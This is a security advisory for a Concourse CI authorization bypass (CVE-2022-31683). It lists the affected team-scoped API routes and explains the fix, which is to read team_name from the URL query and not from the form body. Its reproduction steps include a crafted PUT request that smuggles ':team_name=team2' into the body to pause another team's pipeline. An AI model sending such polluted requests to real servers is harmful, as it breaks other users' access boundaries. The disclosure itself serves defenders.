CVE-2022-31683: Team scope authorization bypass when Post/Put request with :team_name in body, allows HTTP parameter pollution

For some Post/Put Concourse endpoint containing :team_name in the URL, a Concourse user can send a request with body including :team_name=team2 to bypass team scope check to gain access to certain resources belong to any other team. The user only needs a valid user session and belongs to team2.

{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/jobs/:job_name/builds/:build_name", Method: "POST", Name: RerunJobBuild},
{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/jobs/:job_name/pause", Method: "PUT", Name: PauseJob},
{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/jobs/:job_name/unpause", Method: "PUT", Name: UnpauseJob},
{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/jobs/:job_name/schedule", Method: "PUT", Name: ScheduleJob},

{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/pause", Method: "PUT", Name: PausePipeline},
{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/unpause", Method: "PUT", Name: UnpausePipeline},
{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/expose", Method: "PUT", Name: ExposePipeline},
{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/hide", Method: "PUT", Name: HidePipeline},
{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/rename", Method: "PUT", Name: RenamePipeline},
{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/archive", Method: "PUT", Name: ArchivePipeline},

{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/resources/:resource_name/versions/:resource_config_version_id/enable", Method: "PUT", Name: EnableResourceVersion},
{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/resources/:resource_name/versions/:resource_config_version_id/disable", Method: "PUT", Name: DisableResourceVersion},
{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/resources/:resource_name/versions/:resource_config_version_id/pin", Method: "PUT", Name: PinResourceVersion},
{Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/resources/:resource_name/unpin", Method: "PUT", Name: UnpinResource},
    
{Path: "/api/v1/teams/:team_name/artifacts", Method: "POST", Name: CreateArtifact},


fly -t ci login -n team2 -u user -p password


fly -t ci pause-pipeline -p pipeline1


fly -t ci curl /api/v1/teams/team1/pipelines/pipeline1/pause -- -X PUT -d ":team_name=team2" -H "Content-type: application/x-www-form-urlencoded"

In step 4, the parameter pollution would allow an user from any team to pause a pipeline that belongs to other team.

Instead of using FormValue to parse team_name in the request, where allows body parameters to take precedence over URL query string values, both patch versions are now using URL.Query().Get() over multiple scope handlers to prevent the parameter pollution.

No known workarounds for existing versions.

If you have any questions or comments about this advisory, you may reach us privately at [email protected].